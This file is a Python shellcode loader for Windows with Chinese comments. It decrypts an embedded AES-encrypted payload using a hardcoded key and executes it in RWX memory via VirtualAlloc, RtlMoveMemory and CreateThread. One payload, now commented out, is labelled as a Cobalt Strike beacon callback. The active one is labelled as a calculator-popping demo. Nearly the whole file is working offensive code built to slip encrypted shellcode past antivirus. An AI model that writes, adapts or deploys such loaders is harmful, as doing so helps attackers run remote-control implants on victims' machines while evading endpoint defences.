import ctypes
from Cryptodome.Cipher import AES
from Cryptodome.Util.Padding import pad,unpad
import hashlib


# AES 解密
def aes_decode(encrypted_data: bytes, key: str ) -> bytes:
    key_bytes = hashlib.md5(key.encode()).digest()
    cipher = AES.new(key_bytes, AES.MODE_ECB)
    decrypted = unpad(cipher.decrypt(encrypted_data), AES.block_size)
    return decrypted


key = "0XsW6Rn7"
# CS上线
# aes_shellcode=b'/\xe9\xeaz\xd4\x18\x13\x95\x97\xf4I\x9e\xef\x14\xca\x08\x1f\x9b\x88\xb5\x18q@ue\xb0jXHz\xc47\x025\xdcNu\x1c)\xe2\x81I\xb3\xd9?\xbf\xc0\xf0\x91)k\xe8\xd0\xd5\\%s8\x9d&\x9f/\x0e@\x90j\xfe\x8e\xc9Y\x84a\x87\x1b\xa4d\xcc\xc0OV\x84\xc8(\x19X\xcb\xcc\x05a\xdb}\xc0\xcd\xcd\xbd\xf4\xa7%Y\x01\xbe\xce\xef\xec\xf0\xe0w$\x18\x9b\x85\x17\xb0\x98t\xba\x1bu\xebp\t(\xd0.\xc2\xca\xa2\xd3O\xb6\xd6(\xfeg/~\x15\xe4\xef\x01\x02\xb5\x01H\xf7\xa0\x03wzi=\xc2\xa8\x1f\xc1\x94\x825\xa7\xe3<\xb0\xb8s\x81\x1c\xf5\xce\x93\xea\xa2\x9d\xef\x04#\xc5\x1c\xdb\x8d\x0b\x91\x95\xab\x1f\x80\xbe\xa3mk\xbeBF\x97r:\xa8\xfe\x9e\x80vh\xa6\xb2\x0f\xeb\x8d\x80\xde=L\xf8\xdb\xe3L\t\x04\xee$\xde|\x89\xa7IkE\x81[\x89qMX{`\xf4\x1aTfZ4\xc7\'\xf2\xfb\xc6\xdb\xf1\xfcO]\xf2\xbb\xe8_\xcb,\x0e(\x1a\xa6\x14\xe3\x8c\xad^\x92D]D\xb1\x18\x9c)\n\x00\xd2\x00,\xf2z\xa7\x87\xe5\x88\xc8\xe8\xa8k\x010=\xbb\x87rfVG0\x1f\xa3vo\x19\x1d\x1d\xad\xd1y+\xc4\xf6\xb9\xd8\xbf\xc5\x96\xb6\xe2^\xb3\x16X\xa6\x95\x1e\xfd,\xf3\xb2\xf9\xd8\xe2\xf9[\x1a`"\x0c\xab\x01B +\xb7M\x9b\xcd\xa2o\xe9xk\x01)7\xda\xf8\xaf\x8fYi\x1c\xe50\x80\xfb\xf8\x0cz\xd7\x06\x18\xc9^b\x9e\xc5\x97\x0c\xd5\x82V\xf5\xa1\xee#^j\x89\n\xc6?I\x10\x81\x11^\xc4\x8d\x06\x8d\x1awI\xf7\xce\xfe\x90\xb6\x97\xc0H\xebP\x91\xad\xd2\xe3\xec\xa6i\xe6\xcd\xfd\x07\xce\xa7\xddR\x00H\xcf\xb6!b\x91\x84\x8a\x8f\x14\xec\xfcT\x826r\xa8\xc0\t\x9d\xc0&l\x92\xa7\xf7\xb1c\x06i\xf9[\xd1\x9e\xa0\xc0\xef\x12vU\xac\xb6"\xce\xaa&\x13\xbcY\xc2\xd6\xf7`\xce\x97\xe0|5\xa4x\x1c\xf77\xa8d\xb7\xf5\x85V+\xd9I\x99\\`\xe5\xa7\x18\xa2@\x0e\x9bd\x0e\xc65\xa4beU\x08\x0fV+\xba|\xa9P\xc9HXO\x81A\x1a$=\xc4\x9c\xb2p\xff\xe0\xff\xcc\xd3\x19R\xcf\x80\x97G:\x03\xcd\x1a\xfd\x8a\x9e\xfaW\xb9\xa9\xef\xc9\xddf1\xc2\x85+\x13\x1cf\xfe0\x1b\x87\x8d\xfc=\x8e\xeb\xfaQK`\xef\x82<\x03\x89\x19\x7f\x14\x17J\xb5\x9b\xf7\xfeF\x1e5f:\x80O\xac\xbe\x81\x13\xc6\xe8\xaf\x12\x1au\xca\'\xe1\xe1Y\x81s\x7f\xf2\x9c1}\xe2\xd4\xd5\x08\xe9\xda4D\xae\xfar\xd4P\xa3\x81R\xcb\x07\x15\xecam\x0e7\xe6\x0cWyf~\xdd\x00 \xd0^Y\xca=\xf5\xc9\x94k\xb7n!\xf5\xae\xfaiE0\x93t\xf6\xd1\xea\xfekq(\xb81n:%\xd4\xcc\xdc\xe3$0\xd0e#W\x7f\xe0.\xba\x96\xe4\xcc\t\x1c+\x06l\xf0\xe0\xb0\xd7\xa7\x98\x8d\xc35%\x83\x84Kger\x0c01\xa6ln\x05o-\xbd\x9a\x11R\xcb$K\xe8R\x0bWd\xbc-_\xce\x90\xaf\x1erG\xd4$\x91A(\xd8\x96\xa7\xc4\xa6\x93d\xc8-\x89\xa6v\x1b\x17\xb2}T\xe1=\xfa\xe4\xc7\xb9]n[\xdf\xab\x83.\xec\xab\xcb\xc52\xa1\xe4\x0f\xebz\xda>\xb6\x08\xa02\x8a\x9f\\l\xf1\xe8P\xb1\xf0_\x04\t*\x07#\xb6\x8f\x8e\xe4\xdf\xbce\x0cR\x1a\xd3\x9f\'\xc2;B\xd0\xa1*\x90\x82{\x1bX#\xec\xbd\x14\xf2B`\xbd\xcf8U]\xb9$B$\x81\xf8\xea\xacm\xcf\xbc\xdc\xeb\xc6\x10;\xbc\xa5\xf7\x19\xf2a\xa9\x7f\x01d@\xf2+\x05\xbfs'

# 弹计算器
aes_shellcode=b"J\xa7q \x93\xbc\xf2\xdb\xba;'h\xf8\x9c\xa0\xd7\x1f\x9b\x88\xb5\x18q@ue\xb0jXHz\xc47\x025\xdcNu\x1c)\xe2\x81I\xb3\xd9?\xbf\xc0\xf0\x91)k\xe8\xd0\xd5\\%s8\x9d&\x9f/\x0e@X7\xbe\x0b\xe5\xd1\x1a\x1bz\x1e\xf7\x0cF\x13\xa34+\xeb\xc3\x83\xca\xb5UR:dkb;A\xbe\xd6\x17F\x97\xa6\xea\xedldN\x05\xff\x0c\t\xd8*O\xb7\xb0 {z\xd1|\x0b\x94i+,\xf2\x07\xcc\xfe\xd2N\xbc8\x87\x08o\x18Q\x8bN/\xa1\xc2l\xaa\xd6{\x08\x92\x92h\xd5i\x0c\xfc\xfbr\x953t\xfb\x9d\xf9\x0ccJE\x95x\tv\x93\x86\xe0+\x01\x9c\xfb\r\x96\xa4\x12\x98@\xe8\xc0\xcb\xda\x05\x1ai\xbb\xa1\x89`\x00\x10\x08\xc0\xcf+K\xc90\x87\x84\x8e&.\xc8in\xfb\xd9\xddq\x8cz\xd8\x11\xf7\x982'\xee:\x9ep2S}9\xa1\xb9\x06\xa7\x9d\xd5\x87\xe8\x8a\xb2u\x006\x9bly[\xe0\xc4\xa4\xd6\x94$\xf4\xeb\xc9\xb4\xfb\xdd\xb5~\xb1\xe9\xf6\xca\xd6h.\x88\x8f%\xd17\xb4\xf6,\x05\xc06\x1e\x8b+EPW\xb4\xc6"

# 解密
print("[*] 解密 aes_shellcode...")
shellcode = aes_decode(aes_shellcode, key)


# 执行
print("[*] 执行 shellcode...")
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
page = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x1000, 0x40)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(page), ctypes.create_string_buffer(shellcode), len(shellcode))
handle = ctypes.windll.kernel32.CreateThread(0, 0, ctypes.c_uint64(page), 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)